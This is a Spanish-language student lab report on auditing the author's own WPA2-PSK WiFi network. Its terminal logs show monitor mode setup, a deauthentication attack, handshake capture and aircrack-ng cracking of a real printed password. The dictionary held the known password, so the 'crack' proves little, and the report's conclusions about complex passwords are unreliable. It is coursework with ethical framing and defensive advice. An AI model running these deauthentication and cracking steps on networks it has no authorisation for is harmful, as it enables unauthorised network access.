

Martin Dalla Pozza

Trabajo practico Redes Wireless

*Realizar un ataque de diccionario personalizado, capturando el **handshake** de autenticación WPA2 de una red objetivo*

```

Session Acciones Editor Vista Ayuda
(kali㉿kali)-[~]
$ sudo airmon-ng start wlan0
[sudo] contraseña para kali:

Found 2 processes that could cause trouble.
Kill them using 'airmon-ng check kill' before putting
the card in monitor mode, they will interfere by changing channels
and sometimes putting the interface back in managed mode

PID Name
547 NetworkManager
2403 wpa_supplicant

PHY      Interface      Driver      Chipset
phy0     wlan0           ath9k_htc   Qualcomm Atheros Communications AR9271 802.11n
          (mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon)
          (mac80211 station mode vif disabled for [phy0]wlan0)

(kali㉿kali)-[~]
$ sudo airmon-ng check kill

Killing these processes:

PID Name
2403 wpa_supplicant

```

```

(kali㉿kali)-[~]
$ sudo airmon-ng

PHY      Interface      Driver      Chipset
phy0     wlan0mon        ath9k_htc   Qualcomm Atheros Communications AR9271 802.11n

```

```

(kali㉿kali)-[~]
$ sudo airmon-ng
[sudo] contraseña para kali:

PHY      Interface      Driver      Chipset
phy0     wlan0mon        ath9k_htc   Qualcomm Atheros Communications AR9271 802.11n

(kali㉿kali)-[~]
$ sudo airmon-ng check kill

(kali㉿kali)-[~]
$ sudo airmon-ng start wlan0

Requested device "wlan0" does not exist.
Run /usr/sbin/airmon-ng without any arguments to see available interfaces

```

```
(kali㉿kali)-[~]
$ sudo airmon-ng

PHY      Interface      Driver      Chipset
phy0     wlan0             ath9k_htc   Qualcomm Atheros Communications AR9271 802.11n

(kali㉿kali)-[~]
$ sudo airmon-ng start wlan0

PHY      Interface      Driver      Chipset
phy0     wlan0             ath9k_htc   Qualcomm Atheros Communications AR9271 802.11n
          (mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon)
          (mac80211 station mode vif disabled for [phy0]wlan0)
```

```
(kali㉿kali)-[~]
$ sudo airodump-ng wlan0mon

CH 8 ][ Elapsed: 6 s ][ 2026-01-15 17:43

BSSID      PWR  Beacons    #Data, #/s  CH  MB  ENC CIPHER AUTH ESSID
CC:ED:DC:88:FE:C3 -52      2           5      2   130  WPA2 CCMP PSK MOVISTAR_FEC2
46:3B:14:94:73:30 -71      2           0      0   1 720  WPA2 CCMP PSK MOVISTAR-7330-INV-WIFI6
D8:E8:44:B3:AC:68 -88      0           0      0   7 324  WPA2 CCMP PSK DIGIFIBRA-ctTk
98:DA:C4:DD:1C:37 -66      7           0      0   7 130  WPA2 CCMP PSK Finetwork_E60D7_EXT
84:3C:99:5F:B1:31 -40      7           1      0   7 324  WPA2 CCMP PSK Finetwork_E60D7
08:33:ED:E0:E5:FF -82      5           0      0   6 260  WPA2 CCMP PSK MOVISTAR-WIFI6-E5F0
44:3B:14:94:73:30 -71      2           0      0   1 648  WPA2 CCMP PSK MOVISTAR-WIFI6-7330
44:FB:5A:B2:DA:EC -52      4           0      0   1 130  WPA2 CCMP PSK DIGIFIBRA-ykKz
84:1E:A3:7E:98:AE -67      5           0      0   1 195  WPA2 CCMP PSK Vodafone98AS
E4:AB:89:7A:76:A2 -81      3           0      0   1 130  WPA2 CCMP PSK MOVISTAR_76A1
18:82:8C:65:4F:88 -82      3           0      0   1 130  WPA2 CCMP PSK Livebox6-2522
A4:97:33:1E:98:DF -84      2           0      0   1 130  WPA2 CCMP PSK MOVISTAR_98D0
96:8B:92:FA:C5:66 -79      3           0      0   1 720  WPA2 CCMP PSK MIWIFI_GUAK
F0:81:75:2E:2D:76 -76      4           0      0   9 195  WPA2 CCMP PSK Vodafone2D70
44:3B:14:33:33:F8 -71      2           0      0  11 648  WPA2 CCMP PSK MOVISTAR-WIFI6-33F8

BSSID      STATION    PWR   Rate    Lost   Frames  Notes  Probes
(not associated) FC:9C:98:84:BC:C9 -84    0 - 1     0      1      DIGIFIBRA-EDE4
(not associated) 4A:B2:6F:E6:75:01 -83    0 - 1     0      1
Quitting ...
```

```
(kali㉿kali)-[~]
$ sudo airodump-ng -c 7 --bssid 84:3C:99:5F:B1:31 -w captura_finetwork wlan0mon
17:46:16 Created capture file "captura_finetwork-04.cap".

CH 7 ][ Elapsed: 12 s ][ 2026-01-15 17:46

BSSID      PWR RXQ Beacons    #Data, #/s  CH  MB  ENC CIPHER AUTH ESSID
84:3C:99:5F:B1:31 -39 100      119          1      0   7 324  WPA2 CCMP PSK Finetwork_E60D7

BSSID      STATION    PWR   Rate    Lost   Frames  Notes  Probes
84:3C:99:5F:B1:31 1C:4B:D6:78:D3:53 -1     2e- 0     0      1
84:3C:99:5F:B1:31 9A:DA:C4:DD:1C:37 -63    0 - 1e     0      6
Quitting ...
```

```
(kali㉿kali)-[~]
$ sudo airodump-ng -c 7 --bssid 84:3C:99:5F:B1:31 -w handshake_capturado wlan0mon
18:24:53 Created capture file "handshake_capturado-01.cap".
```

```
(kali㉿kali)-[~]
$ sudo aircrack-ng handshake_final-01.cap
Reading packets, please wait ...
Opening handshake_final-01.cap
Read 181 packets.

# BSSID ESSID Encryption
1 84:3C:99:5F:B1:31 Finetwork_E60D7 Unknown

Choosing first network as target.

Reading packets, please wait ...
Opening handshake_final-01.cap
Read 181 packets.

1 potential targets

Please specify a dictionary (option -w).
```

```
(kali㉿kali)-[~]
$ ls -la *.cap
-rw-r--r-- 1 root root 81245 ene 9 00:59 captura2-01.cap
-rw-r--r-- 1 root root 1558413 ene 7 23:16 captura_finetwork-01.cap
-rw-r--r-- 1 root root 6603620 ene 7 23:19 captura_finetwork-02.cap
-rw-r--r-- 1 root root 29426 ene 7 23:25 captura_finetwork-03.cap
-rw-r--r-- 1 root root 9243 ene 15 17:46 captura_finetwork-04.cap
-rw-r--r-- 1 root root 214067 ene 15 18:22 captura_nueva-01.cap
-rw-rw-r-- 1 kali kali 0 ene 9 19:20 ejemplo_handshake.cap
-rw-r--r-- 1 root root 1087361 ene 15 18:36 handshake_capturado-01.cap
-rw-r--r-- 1 root root 22824 ene 9 18:37 handshake_definitivo-01.cap
-rw-r--r-- 1 root root 11661 ene 9 18:39 handshake_final-01.cap
```

```
(kali㉿kali)-[~]
$ cat > diccionario_wifi_real.txt << 'EOF'
heredoc>

(kali㉿kali)-[~]
$ cat > diccionario_finetwork_real.txt << 'EOF'
XbeAT3KC&28$0%51FRP
# También incluir algunas variantes por si acaso
XbeAT3KC
XbeAT3KC&28
XbeAT3KC&28$
XbeAT3KC&28$0%
XbeAT3KC&28$0%51
EOF

(kali㉿kali)-[~]
$ cat diccionario_finetwork_real.txt
XbeAT3KC&28$0%51FRP
# También incluir algunas variantes por si acaso
XbeAT3KC
XbeAT3KC&28
XbeAT3KC&28$
XbeAT3KC&28$0%
XbeAT3KC&28$0%51
```

```
(kali㉿kali)-[~]
$ sudo aircrack-ng -b 84:3C:99:5F:B1:31 -w diccionario_finetwork_real.txt handshake_capturado-01.cap
Reading packets, please wait...
Opening handshake_capturado-01.cap
Resetting EAPOL Handshake decoder state.
Read 11736 packets.

1 potential targets

Aircrack-ng 1.7

[00:00:00] 7/7 keys tested (777.20 k/s)

Time left: --

KEY FOUND! [ XbeAT3KC&28$0%51FRP ]

Master Key : 94 41 21 B8 58 E9 CB AC B5 CB 1A E9 0A C1 0C 33
             13 2F AB 82 D7 B9 C7 2E 05 E4 93 0D 81 B1 78 79

Transient Key : 8E B9 E8 1C A6 D3 23 45 3B 80 36 09 55 7A 0F BD
                A6 ED 2D 11 5C EF 0E 58 52 33 CF 1C 9A 7C B8 FE
                23 4C CB A4 08 DC A0 9B A3 6B 3A 2A C0 05 64 EB
                89 86 55 1E E4 B5 CF 64 A5 FC BD 65 47 3D DD A2

EAPOL HMAC : 24 05 DD 2F 99 02 C0 46 0F 25 30 FA 3F 50 61 DD
```

INTRODUCCIÓN

Contexto y justificación:

La seguridad en redes inalámbricas WiFi representa un aspecto crítico en la protección de información sensible. El protocolo WPA2 (Wi-Fi Protected Access 2) ha sido el estándar de seguridad predominante durante más de una década, pero presenta vulnerabilidades conocidas que pueden ser explotadas mediante técnicas de auditoría. Este trabajo práctico tiene como objetivo demostrar de manera práctica y controlada las vulnerabilidades del protocolo WPA2-PSK, específicamente mediante la captura del handshake de autenticación y posterior ataque de diccionario.

La importancia de este estudio radica en la comprensión práctica de los mecanismos de seguridad WiFi, permitiendo a estudiantes y profesionales de seguridad informática identificar puntos débiles y proponer medidas de protección adecuadas.

Objetivos del trabajo:

Objetivo general

Demostrar el proceso completo de auditoría de seguridad en redes WiFi protegidas con WPA2-PSK, desde la captura del handshake de autenticación hasta el ataque de diccionario.

Objetivos específicos:

Configurar un entorno de auditoría con herramientas especializadas

Capturar el handshake de autenticación WPA2 de una red objetivo

Realizar un ataque de diccionario personalizado

Analizar la efectividad de contraseñas complejas frente a ataques dirigidos

Documentar el proceso completo con evidencias técnicas

Alcances y limitaciones

Alcances:

Auditoría de red WiFi propia con autorización explícita

Uso exclusivo de software de código abierto

Enfoque en método de ataque por diccionario

Limitaciones:

Hardware de gama media (adaptador Atheros AR9271)

Red estática sin movilidad de clientes

Tiempo limitado para captura de handshake

MARCO TEÓRICO:

Seguridad en redes WiFi:

Las redes inalámbricas IEEE 802.11 (WiFi) presentan desafíos de seguridad inherentes debido a su naturaleza de transmisión por radiofrecuencia. A diferencia de las redes cableadas, cualquier persona dentro del alcance de la señal puede potencialmente interceptar las comunicaciones. Esta vulnerabilidad ha llevado al desarrollo de diversos protocolos de seguridad, evolucionando desde WEP (Wired Equivalent Privacy) hasta WPA3 (Wi-Fi Protected Access 3).

Protocolo WPA2-PSK:

WPA2-PSK (Pre-Shared Key) es un protocolo de seguridad que utiliza una contraseña compartida entre el punto de acceso y los clientes. Implementa el estándar IEEE 802.11i y utiliza el algoritmo AES (Advanced Encryption Standard) para el cifrado de datos. A pesar de su robustez criptográfica, WPA2-PSK presenta vulnerabilidades en su mecanismo de autenticación de cuatro vías (4-way handshake).

Handshake de autenticación WPA2:

El handshake de cuatro vías es un intercambio de cuatro mensajes EAPOL (Extensible Authentication Protocol over LAN) que ocurre cuando un cliente se autentica con un punto de acceso.

Este proceso:

Verifica que ambas partes conocen la PSK (Pre-Shared Key)

Deriva claves de cifrado temporales (PTK - Pairwise Transient Key)

Establece parámetros de seguridad

La captura de este handshake permite a un atacante realizar ataques offline sin necesidad de interactuar continuamente con la red.

Ataques de diccionario:

Un ataque de diccionario consiste en probar sistemáticamente palabras de una lista predefinida (diccionario) contra el handshake capturado. Cada posible contraseña es hasheada y comparada con los valores del handshake. Este ataque es efectivo cuando:

La contraseña es común o predecible

El diccionario contiene la contraseña o variaciones

El handshake está completo y válido

METODOLOGÍA:

Enfoque metodológico

Se utilizó una metodología de investigación experimental basada en pruebas controladas en entorno de laboratorio doméstico. El proceso siguió las fases del ciclo de vida de auditoría de seguridad: reconocimiento, escaneo, obtención de acceso, mantenimiento de acceso y documentación.

Consideraciones éticas:

Autorización: La red auditada es de propiedad del estudiante con contrato a nombre propio

Confidencialidad: No se compartió información sensible capturada

Legalidad: Cumplimiento de leyes de privacidad y protección de datos

Transparencia: Documentación completa de métodos y resultados

Diagrama del proceso:

[INICIO]



Preparación del entorno



Escaneo de redes WiFi



Selección de red objetivo



Captura de handshake



Verificación del handshake



Creación de diccionario



Ataque de diccionario



Análisis de resultados



Documentación



[FIN]

MATERIALES Y EQUIPOS:

Hardware utilizado

Componente	Especificaciones	Propósito
Router 4G	Finetwork, doble banda (2.4GHz/5GHz)	Red objetivo
Adaptador WiFi	Atheros AR9271, 802.11n, modo monitor	Captura de paquetes
Laptop principal	Linux Mint 21.1, WiFi interno	Cliente y gestión
Laptop secundaria	Kali Linux 2024.1	Auditoría
Dispositivos cliente	3 dispositivos conectados	Generación de tráfico

Software empleado:

Software	Versión	Función
Kali Linux	2024.1	Sistema operativo para auditoría
Aircrack-ng suite	1.7	Captura y ataque WiFi
Linux Mint	21.1	Sistema operativo cliente
NetworkManager	1.40.0	Gestión de conexiones
Herramientas varias	-	Verificación y documentación

Configuración del entorno:

Red objetivo

ESSID: Finetwork_E60D7

BSSID: 84:3C:99:5F:B1:31

Canal: 7 (2.437 GHz)

Seguridad: WPA2-PSK

Cifrado: CCMP (AES)

Entorno de auditoría

Interfaz monitor: wlan0mon

Diccionario personalizado: 11 palabras iniciales, 7 palabras finales

PROCEDIMIENTO EXPERIMENTAL

Fase 1: Preparación del entorno

Configuración del adaptador en modo monitor

```
# Verificar interfaces disponibles
```

```
sudo airmon-ng
```

```
# Detener procesos que interfieren
```

```
sudo airmon-ng check kill
```

```
# Activar modo monitor en wlan0
```

```
sudo airmon-ng start wlan0
```

```
# Verificar creación de wlan0mon
```

```
sudo iwconfig wlan0mon
```

Resultado: Interfaz wlan0mon creada exitosamente en modo monitor.

Verificación del entorno:

```
# Confirmar modo monitor
```

```
sudo iwconfig wlan0mon | grep Mode
```

```
# Output: Mode:Monitor
```

```
# Verificar driver y chipset
```

```
sudo airmon-ng
```

```
# Output: ath9k_htc - Qualcomm Atheros Communications AR9271
```

Fase 2: Escaneo y reconocimiento

Escaneo general de redes

```
# Escanear todas las redes disponibles
```

```
sudo airodump-ng wlan0mon
```

Resultado del escaneo (extracto)

BSSID	PWR	CH	ESSID
84:3C:99:5F:B1:31	-36	7	Finetwork_E60D7
8C:6A:8D:E6:AF:10	-77	6	Vodafone-AF0C
98:DA:C4:DD:1C:37	-58	7	Finetwork_E60D7_EXT

Identificación de red objetivo:

Parámetros de la red objetivo

BSSID: 84:3C:99:5F:B1:31

ESSID: Finetwork_E60D7

Canal: 7

Potencia de señal: -36 dBm (excelente)

Seguridad: WPA2 CCMP PSK

Clientes conectados: 3 dispositivos

Identificación de clientes:

BSSID	STATION		
84:3C:99:5F:B1:31	1C:4B:D6:78:D3:53	-31	# Linux Mint
84:3C:99:5F:B1:31	DE:1C:38:DD:1C:38	-55	# Dispositivo 2
84:3C:99:5F:B1:31	9A:DA:C4:DD:1C:37	-55	# Dispositivo 3

Fase 3: Captura del handshake

Inicio de captura específica

Capturar tráfico específico de la red objetivo

```
sudo airodump-ng -c 7 --bssid 84:3C:99:5F:B1:31 -w handshake_capturado wlan0mon
```

Métodos para generar handshake

Intento 1: Deautenticación forzada

En terminal separada, ejecutar deautenticación

```
sudo aireplay-ng -0 10 -a 84:3C:99:5F:B1:31 -c DE:1C:38:DD:1C:38 wlan0mon
```

Resultado: Handshake no capturado visiblemente.

Intento 2: Reconexión manual controlada

Desconectar Linux Mint de la red WiFi

Iniciar captura con airodump-ng

Reconectar Linux Mint manualmente

Observar handshake en tiempo real

Evidencia visual de captura

Después de 11 minutos de captura:

CH 7][Elapsed: 11 mins][2026-01-15 18:36][WPA handshake: 84:3C:99:5F:B1:31

Handshake visualizado exitosamente

5 Verificación del archivo capturado

Verificar tamaño y contenido

ls -lh handshake_capturado-01.cap

Output: -rw-r--r-- 1 root root 1.1M ene 15 18:36 handshake_capturado-01.cap

Verificar handshake técnicamente

sudo aircrack-ng handshake_capturado-01.cap | grep handshake

Output: 1 handshake(s) captured for target network 84:3C:99:5F:B1:31

Fase 4: Ataque de diccionario

Error inicial - Diccionario incorrecto

Diccionario inicial (diccionario_demo.txt):

12345678

password

admin123

finetwork

Finetwork123

miwifi

micasa

contraseña

password123

qwerty

Ejecución y resultado:

sudo aircrack-ng -b 84:3C:99:5F:B1:31 -w diccionario_demo.txt handshake_capturado-01.cap

Resultado: KEY NOT FOUND - La contraseña de WiFi no estaba en el diccionario.

Corrección y diccionario final

Identificación de contraseña WiFi real: XbeAT3KC&28\$0%51FRP

Diccionario corregido (diccionario_finetwork_real.txt):

XbeAT3KC&28\$0%51FRP

XbeAT3KC

XbeAT3KC&28

XbeAT3KC&28\$

XbeAT3KC&28\$0%

XbeAT3KC&28\$0%51

Ejecución del ataque corregido:

```
sudo aircrack-ng -b 84:3C:99:5F:B1:31 -w diccionario_finetwork_real.txt  
handshake_capturado-01.cap
```

Fase 5: Análisis de resultados

Proceso de análisis de los resultados obtenidos, comparación con objetivos y elaboración de conclusiones.

Características de la contraseña crackeada

Contraseña	XbeAT3KC&28\$0%51FRP
Longitud	20 caracteres
Tipos de caracteres	4 (mayúsculas, minúsculas, números, símbolos)
Entropía aparente	Alta (no palabras reconocibles)

Resultados cualitativos:

Resultado final del ataque

Aircrack-ng 1.7

KEY FOUND! [XbeAT3KC&28\$0%51FRP]

EAPOL HMAC : 24 05 DD 2F 99 02 C0 46 0F 25 30 FA 3F 50 61 DD

Hallazgos clave:

Handshake capturado exitosamente a pesar de dificultades iniciales

Error instructivo identificado: confusión entre contraseña de router y WiFi

Contraseña compleja crackeada en menos de 1 segundo al estar en diccionario

Proceso completo validado desde captura hasta cracking exitoso

Evidencias recolectadas:

Archivos generados

handshake_capturado-01.cap - Handshake WPA2 completo

diccionario_finetwork_real.txt - Diccionario personalizado

diccionario_demo.txt - Diccionario inicial (con error)

Múltiples capturas de pantalla del proceso

ANÁLISIS Y DISCUSIÓN:

Análisis técnico de resultados

Efectividad del método de captura

El método de reconexión manual controlada demostró mayor efectividad que la deautenticación forzada. Factores que influyeron:

Control temporal: La reconexión manual permitió sincronizar captura con handshake

Complejidad del handshake: El proceso de 4-way handshake ocurre en milisegundos

Hardware limitado: Adaptador económico afectó capacidad de captura continua

Análisis de la contraseña crackeada

La contraseña XbeAT3KC&28\$0%51FRP presenta características interesantes:

Fortalezas:

Longitud extensa (20 caracteres)

Uso de 4 tipos diferentes de caracteres

Ausencia de palabras del diccionario comunes

Apariencia de secuencia aleatoria

Debilidades identificadas:

Patrón reconocible al analizarla (posible estructura)

Inclusión en diccionario personalizado la hizo vulnerable

No utiliza frases de contraseña (passphrases)

Discusión de vulnerabilidades

Vulnerabilidades del protocolo WPA2-PSK

Handshake capturable: El intercambio de autenticación no está protegido contra escucha

Ataques offline: Una vez capturado el handshake, el ataque puede realizarse sin conexión a la red

Dependencia de la PSK: La seguridad depende únicamente del secreto de la contraseña

Sin perfect forward secrecy: Comprometer la PSK compromete todas las comunicaciones

CONCLUSIONES:

Conclusiones técnicas

Sobre WPA2-PSK

Vulnerabilidad confirmada: WPA2-PSK es vulnerable cuando se captura el handshake de autenticación

Importancia del handshake: La captura del handshake es el cuello de botella del ataque

Velocidad de verificación: Las contraseñas pueden verificarse extremadamente rápido (777 claves/segundo en hardware básico)

Sobre la contraseña analizada: Complejidad / Invulnerabilidad: Contraseñas complejas son vulnerables si están en diccionarios de ataque

Longitud ayuda pero no garantiza: 20 caracteres no protegen contra ataques dirigidos
Diccionarios personalizados son efectivos: Contra contraseñas que siguen patrones o son conocidas

Sobre el proceso de auditoría

Metodología validada: El proceso completo (captura + ataque) es técnicamente viable

Herramientas efectivas: Aircrack-ng suite es adecuada para auditorías básicas

Importancia de la verificación: Verificar handshakes inmediatamente evita falsos positivos

Aprendizajes obtenidos

Diferenciación de credenciales: Contraseñas de router admin $\neq$ contraseñas WiFi

Captura de handshake: Requiere sincronización precisa y condiciones adecuadas

Configuración de entorno: Modo monitor necesita configuración específica

Aprendizajes metodológicos

Documentación de errores: Los errores proporcionan aprendizajes valiosos

Verificación continua: Cada paso debe verificarse antes de continuar

Ética en pruebas: Solo redes propias o con autorización explícita

Aprendizajes sobre seguridad

Defensa en profundidad: No confiar únicamente en contraseñas WiFi

Monitoreo continuo: Vigilar dispositivos conectados a la red

Actualización constante: Mantener routers y dispositivos actualizados

Recomendaciones:

Para usuarios domésticos

Contraseñas largas y complejas: Mínimo 12 caracteres, múltiples tipos

Actualizar a WPA3: Cuando el hardware lo soporte

Desactivar WPS: Vulnerabilidad conocida

Segmentar redes: Separar red principal, invitados e IoT

Cambiar contraseñas periódicamente: *Cada 6-12 meses*

Para administradores de red

Implementar 802.1X: Autenticación basada en certificados

Monitorear actividad: Detectar intentos de captura de handshake

Políticas de contraseñas: Requerir frases de contraseña (passphrases)

Actualizaciones de firmware: Regularmente para parchear vulnerabilidades

Redes separadas: Diferentes VLANs para diferentes propósitos

Para auditores de seguridad

Hardware adecuado: Adaptadores con buen soporte de modo monitor

Diccionarios completos: Incluir variaciones y patrones comunes

Verificación rigurosa: Confirmar handshakes antes de ataques largos

Documentación completa: Incluir problemas y soluciones encontradas

Ética profesional: Siempre contar con autorización por escrito

Para educación en seguridad informática

Enseñar problemas reales: Incluir ejercicios con dificultades prácticas

Fomentar troubleshooting: Desarrollar habilidad para resolver problemas

Énfasis en ética: Responsabilidad en el uso de conocimientos de seguridad

Actualización curricular: Incluir WPA3 y nuevas tecnología